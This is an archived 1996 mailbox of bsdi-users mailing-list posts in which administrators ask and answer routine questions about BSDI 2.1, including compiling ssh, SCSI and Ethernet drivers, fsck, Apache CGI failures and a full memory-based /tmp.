ESMTP id OAA06670 for ; Wed, 20 Nov 1996 14:31:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA17466 for bsdi-users-outgoing; Wed, 20 Nov 1996 14:26:30 -0500 (EST) Message-Id: <1.5.4.32.19961120191156.002f4244@mailhub.hcl.com> X-Sender: frisch@mailhub.hcl.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Mike Frisch Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ssh on BSDI 2.1? Date: Wed, 20 Nov 1996 14:11:56 -0500 I am looking for a precompiled binary of ssh on BSDI 2.1. They claim support for earlier versions of BSDI, but it doesn't compile cleanly on 2.1 because of some files not being adjusted properly by the configuration scripts. I don't have time to make it work right now, but I'd really like to utilize ssh. If anybody can help, I'd greatly appreciate it. Thanks. Mike. =========================================================================== Mike Frisch (416) 496-2200 Ext. 2272 Software Engineer Hummingbird Communications Ltd. North York, Ontario, Canada Disclaimer: I speak for myself, not my employer From VM Wed Nov 20 22:27:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["901" "Wed" "20" "November" "1996" "14:44:11" "-0500" "Stephen Frost" "sfrost@user2.mnsinc.com" nil "28" "Re: SCSI Adapter Not seen by BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA07226 for ; Wed, 20 Nov 1996 14:52:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA17543 for bsdi-users-outgoing; Wed, 20 Nov 1996 14:44:27 -0500 (EST) Message-Id: <199611201944.OAA25189@user2.mnsinc.com> In-Reply-To: from "jerry" at Nov 20, 96 10:54:42 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Stephen Frost Sender: owner-bsdi-users@lists.gateway.com To: jerry@iconnect.net (jerry) Cc: bsdi-users@BSDI.COM Subject: Re: SCSI Adapter Not seen by BSDI Date: Wed, 20 Nov 1996 14:44:11 -0500 (EST) > > On Tue, 19 Nov 1996, Bill Nestlerode wrote: > > > >We are running BSDI 2.1 and are trying to install an Adaptec AHA-2940AU > > >SCSI controller. We are unable to get BSDI to recognize it. I can not find > > >in the KERNEL where we define this adapter, yet the lizard book seems to > > > Try interrupting the boot by pressing a key. At the 'Boot:' prompt enter the > > command '-dev aic0 flags=0x1'. At the following 'Boot:' prompt press 'enter'. > > This will force the kernel to use the aic driver. (See man 4 aic) > > > Bill, > > Thank you! You are a genius! This worked perfectly. > > A note to Stephen who asked if this has to be done every time. > > No. In /etc place the above command in the file boot.default. > > Thanks to all who responded to this. > > Jerry Actually I figured out that if you just set flags=0x1 instead of flags=0x0 on the aic0 at pci? line. Stephen From VM Wed Nov 20 22:27:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["965" "Wed" "20" "November" "1996" "14:50:52" "-0500" "Jason Lixfeld" "carrera@idirect.com" nil "37" "Re: Running on a Dual Pentium system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08034 for ; Wed, 20 Nov 1996 15:14:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA17716 for bsdi-users-outgoing; Wed, 20 Nov 1996 15:07:41 -0500 (EST) X-Authentication-Warning: hometown.idirect.com: carrera owned process doing -bs In-Reply-To: <9611201613.ZM16049@masschaos.de.convex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jason Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: Ray Davis cc: "Alan B. Clegg" , bsdi-users@BSDI.COM Subject: Re: Running on a Dual Pentium system Date: Wed, 20 Nov 1996 14:50:52 -0500 (EST) Does this mean that BSD will not make use of a secord (or 3rd or 4th) processor if it is in a system? Hopefully they will be coming out with support for this in the future!~ On Wed, 20 Nov 1996, Ray Davis wrote: > > I've got a client that is preparing to move from SCO to BSDi (yay!). One > > of their systems is a dual Pentium, and I don't know how BSDi (2.1) is > > going to handle that. Will I need to disable (via Setup or pulling the > > chip) the second processor, or will it just be ignored? > > If the machine works anything like my A.I.R. Dual Pentium, the second > CPU is simply ignored. No special setup and no need to pull it. > > Cheers, > Ray > Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA [416] 233.7150 {V} [416] 233.6970 {F} -=- carrera@idirect.com From VM Wed Nov 20 22:27:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["778" "Wed" "20" "November" "1996" "15:11:55" "-0500" "Brandon Lee Poyner" "poyner@neca.com" nil "25" "Re: ssh on BSDI 2.1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08050 for ; Wed, 20 Nov 1996 15:17:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA17726 for bsdi-users-outgoing; Wed, 20 Nov 1996 15:12:25 -0500 (EST) In-Reply-To: <1.5.4.32.19961120191156.002f4244@mailhub.hcl.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brandon Lee Poyner Sender: owner-bsdi-users@lists.gateway.com To: Mike Frisch cc: bsdi-users@BSDI.COM Subject: Re: ssh on BSDI 2.1? Date: Wed, 20 Nov 1996 15:11:55 -0500 (EST) On Wed, 20 Nov 1996, Mike Frisch wrote: > I am looking for a precompiled binary of ssh on BSDI 2.1. They > claim support for earlier versions of BSDI, but it doesn't compile cleanly > on 2.1 because of some files not being adjusted properly by the > configuration scripts. I don't have time to make it work right now, but I'd > really like to utilize ssh. If anybody can help, I'd greatly appreciate it. > > Thanks. > > Mike. Mike, You'll need to use gmake (gnu make) to compile ssh-1.2.17 under BSDi. The Makefile is too complicated for BSDi's make. \ | __| __| \ | Brandon Lee Poyner (poyner@neca.com) . | _| ( _ \ ` \ -_) _| NECAnet Systems Administrator _|\_|___|\___|_/ _\_| _|___|\___| http://www.neca.com/ From VM Wed Nov 20 22:27:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["431" "Wed" "20" "November" "1996" "08:49:27" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "12" "Re: Networked HP LaserJet 5m" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08065 for ; Wed, 20 Nov 1996 15:22:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA17029 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:52:55 -0500 (EST) Posted-Date: Wed, 20 Nov 1996 08:49:27 -0500 (EST) In-Reply-To: <199611191534.AA10350@dircon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: digbyt@dircon.co.uk cc: Todd Burroughs , bsdi-users@bsdi.com Subject: Re: Networked HP LaserJet 5m Date: Wed, 20 Nov 1996 08:49:27 -0500 (EST) On the lLaserJet 4's we have at our company, there was a card in the back of the manual to order additional technical documentation. Not sure about the 5m/mp, but you may want to check into this to see if you can get the kind of documentation you'd need to write a JetDirect driver. I used the PCL Tech Ref with great success to write a TIFF to PCL converter, so hopefully the same thing couled be done... -Mike Pelletier. From VM Wed Nov 20 22:27:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3277" "Wed" "20" "November" "1996" "12:24:39" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "76" "Re: 100Mb Ethernet Woes. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08334 for ; Wed, 20 Nov 1996 15:26:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA17784 for bsdi-users-outgoing; Wed, 20 Nov 1996 15:25:24 -0500 (EST) Message-Id: <3.0.1.32.19961120122437.00a045c8@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode Cc: Kent Ketell , Bill Nestlerode , Brad Senff , bsdi-users@BSDI.COM, billn@tao.BSDI.COM Subject: Re: 100Mb Ethernet Woes. Date: Wed, 20 Nov 1996 12:24:39 -0800 At 10:55 AM 11/20/96 -0700, Bill Nestlerode wrote: >Kent Ketell writes: >>At 05:23 PM 11/19/96 -0700, Bill Nestlerode wrote: >>>Brad Senff writes: >>>> >>>> Well, I am trying to make the jump, from 10Mb to 100Mb. I have >>>>gone through all kinds of problems finding the right cards, been thru the >>>>"yeah the 3com 3c905 is IDENTICAL to the 3c595" routine (fyi, it is NOT), >>>>been thru the "Nope, can't get those 3c595's anymore" routine, even tried >>>>the SMC's listed in the ol' BSDi manual. No luck. No matter what I did I >>>>couldn't get them to recognize. Finally, I tried the DEC DE500. I can get >>>>it to recognize, right out of the box. I checked dmesg, and all is well. >>>>However when I try to get out of the box it fails. The computer is linked >>>>to a 100Mb ethernet HUB, (Compex 1208TX). I know the hub and the downlink >>>>to my 10Mb ethernet is fine, because when I went down the road of the >>>>3c905's, they would work temporarily, then if the buffer filled, it would >>>>lock. >>>> >>>> I saw in the archive that the de500 requires you to choose the >>>>WRONG type of ethernet when doing the config_netstart, so I tried that, no >>>>such luck. No matter what I do, it seems that the bsdi 2.1 boxes do not >>>>like 100Mbit. >>>> >>>> So, if any of you out there has a de500 in a box working great (at >>>>100Mbit, hell even at 10Mbit at this point) please forward me a copy of >>>>your dmesg, and netstart files, and any wisdom you may have relating to >>>>the above. >>>> >>>>-a very frustrated person who believes that 100Mbit is a myth- >>>> >>>>================================================================== >>>>== Brad Senff brad@inficad.com == >>>>== System Administrator Check out the web site: == >>>>== Inficad Computing and Design http://www.inficad.com == >>>>== "Ignorance is the art of not recalling the information == >>>>== you have not learned yet." == >>>>================================================================== >>>> >>>Brad: >>>Patch U210-003 fixes config_netstart so that you don't have to choose the >>>WRONG type of ethernet. You might also want to install K210-023, and build a >>>new kernel. It brings the de500 driver up-to-date. >>> >> >>Watch out for this patch. I installed it on my systems and it caused >>all sorts of stalls and problems. These problems are apparently due >>to so misalignments being generated by other systems (routers, not >>fixable by me), but the patched driver would not forgive them at all. >> >These are debugging level messages. The driver is just reporting what it sees, >not causing errors. I think the de driver in 3.0 will be quiter. > I understand that the messages themselves are informational only, but the system often came to a complete halt, network-wise as a result of whatever caused them. For instance: ftp-ing a file from my popserver, where I had installed the patch, to my firewall, where I had not never completed. It was only a 2K+ file. Once I had backed out the patch the ftp was pretty much instant. The culprits generating the errors are both routers, so I can't do much about them. -- All opinions either expressed or implied in the above noise are strictly my own. -Kent- From VM Wed Nov 20 22:27:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["938" "Wed" "20" "November" "1996" "12:24:44" "-0800" "Devon Lazarus" "devonl@digitalthink.com" nil "23" "Re: fsck" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08351 for ; Wed, 20 Nov 1996 15:30:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA17803 for bsdi-users-outgoing; Wed, 20 Nov 1996 15:32:21 -0500 (EST) Message-ID: <3293690C.33590565@digitalthink.com> Organization: DigitalThink X-Mailer: Mozilla 3.01 (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Devon Lazarus Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer CC: bsdi-users@BSDI.COM Subject: Re: fsck Date: Wed, 20 Nov 1996 12:24:44 -0800 Brian Backer wrote: > > Ever since I let telnet users on my system I always get unreferenced > files during a fsck. On top of that I thought that fssck was supposed to > fix them if you ran it a few times. I have read the man pages several > times and I guess I am missing the switch that I want. Can anyone tell > me what the correct and most efficient way to clear the fs flaws is?.. > Also, is there a way to make fsck intereactive where you can actually > tell fsck weather to clear or not? if you are running fsck in multi-user mode you will almost always get an error because the state of the disk is changing. the most effective way to run fsck is to drop down into single-user mode and go from there. -d -- |----------------------------------------| | Devon Lazarus Technology Group | | DigitalThink | | www.digitalthink.com coming December 1 | |----------------------------------------| From VM Wed Nov 20 22:27:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1265" "Wed" "20" "November" "1996" "15:30:43" "-0500" "Sam Brown" "root@ns2.clever.net" nil "38" "Re: Apache 1.1.1 cgi strangeness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08356 for ; Wed, 20 Nov 1996 15:32:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA17829 for bsdi-users-outgoing; Wed, 20 Nov 1996 15:34:11 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Joe Kelly cc: bsdi-users@BSDI.COM Subject: Re: Apache 1.1.1 cgi strangeness Date: Wed, 20 Nov 1996 15:30:43 -0500 (EST) Perhaps a memory leak? or ulimit constraints (bash help ulimit). Likely a hung daemon or a hungry daemon is running you out of file descriptors. Whats your ulimit -a now? How many virtual domains? Do they each have their own log file. Information like this would help us pinpoint the problem. go to www.apache.org and the find the bsdi tuning tips. :) --Sam On Wed, 20 Nov 1996, Joe Kelly wrote: > > Hi All, > > Sorry about these multiple postings. > > We're seeing cgi die periodically on our web server. httpd is still > running and you can still access html, its only cgi that fails > to run. > > There are no error messages in the log files and once you kill > -HUP httpd all returns to normal. We're using apache 1.1.1 and bsdi 2.1. > > Has anyone seen this before and if so what were the causes/fixes. > > Any tips or hints would be great. > > Thanks & Best Regards...Joe Kelly. > > ______________________________________________________________________ > Global OnLine Japan. Dial-Up, Leased-Line, ISDN, Web Services & More. > URL: , Tel: +81-3-5341-8000, Fax: +81-3-5341-8001 > ______________________________________________________________________ > "Everything depends. Nothing is always. Everything is sometimes." > From VM Wed Nov 20 22:27:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["904" "Wed" "20" "November" "1996" "12:33:20" "-0800" "Devon Lazarus" "devonl@digitalthink.com" nil "24" "[Q] RAM usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08623 for ; Wed, 20 Nov 1996 15:38:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA17853 for bsdi-users-outgoing; Wed, 20 Nov 1996 15:40:41 -0500 (EST) Message-ID: <32936B10.773C2448@digitalthink.com> Organization: DigitalThink X-Mailer: Mozilla 3.01 (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Devon Lazarus Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: [Q] RAM usage Date: Wed, 20 Nov 1996 12:33:20 -0800 hello all- i am wondering if someone might be able to point me to a book or preferrably some net resources, that discuss how to diagnose the RAM usage of a UNIX machine. i know this is not bsdi specific, but i was hoping that some of you might have some bsdi-specific resources for learning this stuff. specifically i'd like to be able to see how much RAM is being used. (top never seems to be quite correct.) how much swapping is being done, by whom, when, and why. i am in the process of trying to determine if my bsdi/apache web server is slow due to ram, bandwidth, or if msql just runs slower on bsdi than other platforms. thanks in advance for any pertinent suggestions. -d -- |----------------------------------------| | Devon Lazarus Technology Group | | DigitalThink | | www.digitalthink.com coming December 1 | |----------------------------------------| From VM Wed Nov 20 22:27:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1781" "Wed" "20" "November" "1996" "12:44:17" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "60" "Panic !!! /tmp full" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08628 for ; Wed, 20 Nov 1996 15:38:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA17840 for bsdi-users-outgoing; Wed, 20 Nov 1996 15:38:26 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Panic !!! /tmp full Date: Wed, 20 Nov 1996 12:44:17 +0100 (MET) I'm running P133/32 MB RAM with 8 MB mfs memory filesystem for /tmp Last days my users decided to use screens so they filled up my /tmp. I wouldn't be a problem but when I cleaned up my /tmp the problem didn't disappear. I made some dumps before rebooting. My questions are: 1. How to really clean up the /tmp ? (look down) 2. How does swap work according to my full /tmp ? 3. How to safe migrate to traditional disk fs for /tmp (If it is really necesary? 4. If I buy more MB RAM, how to increase my MFS? Regards, Maciej Przybecki SYLABA Internet And here go my dumps: --------------------------------------------------- As you can see there is not to much kB used on /tmp --------------------------------------------------- total 6 drwxrwxrwx 2 root wheel 512 Nov 19 11:07 .X11-unix -rw-r--r-- 1 root wheel 3196 Nov 20 12:10 Pdialin.out drwxr-xr-x 4 root wheel 512 Nov 20 08:58 screens ./.X11-unix: total 0 srwxrwxrwx 1 root wheel 0 Nov 19 11:07 X0 ./screens: total 2 drwx------ 2 darekj user 512 Nov 19 17:58 S-darekj drwx------ 2 uppp2 user 512 Nov 20 10:05 S-uppp2 ./screens/S-darekj: total 0 prw------- 1 darekj user 0 Nov 19 17:58 9507.ttyp1.grendel ./screens/S-uppp2: total 0 prw------- 1 uppp2 user 0 Nov 20 09:01 21877.ttyp3.grendel prw------- 1 uppp2 user 0 Nov 20 09:58 22552.ttyp1.grendel ------------------------------------------------------------ And df output: ------------------------------------------------------------ Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/sd0a 193535 29023 154835 16% / /dev/sd0h 1793278 1129593 574021 66% /usr mfs:20 7679 7297 -2 100% /tmp ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ How about this ???? From VM Wed Nov 20 22:27:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2618" "Wed" "20" "November" "1996" "10:55:06" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "55" "Re: 100Mb Ethernet Woes. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA09180 for ; Wed, 20 Nov 1996 16:01:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA17048 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:55:26 -0500 (EST) Message-Id: <199611201755.KAA09878@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Tue, 19 Nov 1996 20:17:07 PST." <3.0.1.32.19961119201704.00683dc4@popgw.firstdata.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: Bill Nestlerode , Brad Senff , bsdi-users@BSDI.COM, billn@tao.bsdi.com Subject: Re: 100Mb Ethernet Woes. Date: Wed, 20 Nov 1996 10:55:06 -0700 Kent Ketell writes: >At 05:23 PM 11/19/96 -0700, Bill Nestlerode wrote: >>Brad Senff writes: >>> >>> Well, I am trying to make the jump, from 10Mb to 100Mb. I have >>>gone through all kinds of problems finding the right cards, been thru the >>>"yeah the 3com 3c905 is IDENTICAL to the 3c595" routine (fyi, it is NOT), >>>been thru the "Nope, can't get those 3c595's anymore" routine, even tried >>>the SMC's listed in the ol' BSDi manual. No luck. No matter what I did I >>>couldn't get them to recognize. Finally, I tried the DEC DE500. I can get >>>it to recognize, right out of the box. I checked dmesg, and all is well. >>>However when I try to get out of the box it fails. The computer is linked >>>to a 100Mb ethernet HUB, (Compex 1208TX). I know the hub and the downlink >>>to my 10Mb ethernet is fine, because when I went down the road of the >>>3c905's, they would work temporarily, then if the buffer filled, it would >>>lock. >>> >>> I saw in the archive that the de500 requires you to choose the >>>WRONG type of ethernet when doing the config_netstart, so I tried that, no >>>such luck. No matter what I do, it seems that the bsdi 2.1 boxes do not >>>like 100Mbit. >>> >>> So, if any of you out there has a de500 in a box working great (at >>>100Mbit, hell even at 10Mbit at this point) please forward me a copy of >>>your dmesg, and netstart files, and any wisdom you may have relating to >>>the above. >>> >>>-a very frustrated person who believes that 100Mbit is a myth- >>> >>>================================================================== >>>== Brad Senff brad@inficad.com == >>>== System Administrator Check out the web site: == >>>== Inficad Computing and Design http://www.inficad.com == >>>== "Ignorance is the art of not recalling the information == >>>== you have not learned yet." == >>>================================================================== >>> >>Brad: >>Patch U210-003 fixes config_netstart so that you don't have to choose the >>WRONG type of ethernet. You might also want to install K210-023, and build a >>new kernel. It brings the de500 driver up-to-date. >> > >Watch out for this patch. I installed it on my systems and it caused >all sorts of stalls and problems. These problems are apparently due >to so misalignments being generated by other systems (routers, not >fixable by me), but the patched driver would not forgive them at all. > These are debugging level messages. The driver is just reporting what it sees, not causing errors. I think the de driver in 3.0 will be quiter. -Bill N From VM Wed Nov 20 22:27:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["269" "Wed" "20" "November" "1996" "08:40:50" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "12" "Re: quote files" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA09185 for ; Wed, 20 Nov 1996 16:03:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA17025 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:52:41 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: <326A5FAD.4AA4@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: quote files Date: Wed, 20 Nov 1996 08:40:50 -0500 (EST) On Sun, 20 Oct 1996, Donald Dahlman wrote: > After the motd file is displayed, what is the name of the > file that is used to display the quotes. I have done a man quotes > man motd, man login and still am unable to locate a reference to it. You mean 'fortune'? From VM Wed Nov 20 22:27:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["740" "Wed" "20" "November" "1996" "08:47:21" "+0000" "Jay Lixfeld" "carrera@idirect.com" nil "26" "Re: ruptime" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA09729 for ; Wed, 20 Nov 1996 16:20:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA17030 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:53:06 -0500 (EST) X-Sender: carrera@localhost In-Reply-To: <199611200309.TAA28648@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@bsdi.com Subject: Re: ruptime Date: Wed, 20 Nov 1996 08:47:21 +0000 () Hmm.. so ruptime will only pick out the addresses on the local network? Like if my machine IP is 201.105.94.85 it will scan everything in the 201.105.94 class? or how does that work (If they have rwhod running that is right?)? Uhmm.. The only problem is, that I have about 3 or 4 different classes on the network at work.. and some very important systems on each class, so I am curious as to wether or not you can manually set it to search for rwhod packets on other IP Network. Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA -=- carrera@idirect.com From VM Wed Nov 20 22:27:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1292" "Wed" "20" "November" "1996" "08:28:36" "-0800" "David A. Lee" "dave@calldei.com" nil "38" "Re: An easy way to remove a line from a file." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA09734 for ; Wed, 20 Nov 1996 16:21:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA17001 for bsdi-users-outgoing; Wed, 20 Nov 1996 12:47:21 -0500 (EST) Message-Id: <199611201628.IAA02811@dei.calldei.com> In-Reply-To: <3.0.1.32.19961119202048.0069c790@popgw.firstdata.com> from "Kent Ketell" at Nov 19, 96 08:22:46 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: kent_ketell@firstdata.com (Kent Ketell) Cc: system3@infomine.net, bsdi-users@BSDI.COM Subject: Re: An easy way to remove a line from a file. Date: Wed, 20 Nov 1996 08:28:36 -0800 (PST) Try grep -v email file > newfile > > At 08:22 PM 11/19/96 -0500, mazz wrote: > >Guys & Gals, > > > >I'm looking for an easy way (hopefully a little c-shell command) that can > be used to remove a line from a file. I keep a list of user names in a few > different files. When I remove a user from my file setup I want to remove > them from 2-3 different files. There's got to be an easy command or simple > shell script that I can pass an email address to and it'll remove those > users from all three files. > > > >Thanks in advance for the help. :-) > > > >Antonio > > > > > > Try sed '/{unique string}/d' {filename} > {newfile} > > where {unique string} is your email address, > {filename} is the file you want to remove it from, > and {newfile} is a temporary file to put the resulting > stuff into. > -- > > +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ > | Kent Ketell First Data Corporation | > | Systems Administrator Electronic Funds Services | > | Email: Kent_Ketell@firstdata.com | > +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ > > The views and comments above are strictly my own. > From VM Wed Nov 20 22:27:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1372" "Wed" "20" "November" "1996" "13:42:38" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "36" "Re: Panic !!! /tmp full" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA10818 for ; Wed, 20 Nov 1996 16:57:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA17992 for bsdi-users-outgoing; Wed, 20 Nov 1996 16:48:42 -0500 (EST) Message-Id: <199611202142.NAA07274@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bobie@grendel.sylaba.poznan.pl, bsdi-users@BSDI.COM Subject: Re: Panic !!! /tmp full Date: Wed, 20 Nov 1996 13:42:38 -0800 (PST) > > I'm running P133/32 MB RAM with 8 MB mfs memory filesystem for /tmp > > Last days my users decided to use screens so they filled up my /tmp. > I wouldn't be a problem but when I cleaned up my /tmp the problem didn't > disappear. > I made some dumps before rebooting. > > My questions are: > 1. How to really clean up the /tmp ? (look down) > 2. How does swap work according to my full /tmp ? > 3. How to safe migrate to traditional disk fs for /tmp (If it is really > necesary? > 4. If I buy more MB RAM, how to increase my MFS? > You probably deleted an open file, which means that you had to kill off the process that was using the file in order to free up the space or do a reboot. If you only have 8MB of ram then you shouldn't use MFS - it should only be used if you have lots of RAM and lots of swap space. If you want to increase the amount of MFS space just change the appropriate entry in /etc/fstab (but I don't recommend you doing so). I think you specify -s but you'll have to check on that. In general, you're probably better off with just using a disk partition for tmp that way your users aren't going to run you out of swap space by filling /tmp. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Wed Nov 20 22:27:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["695" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" 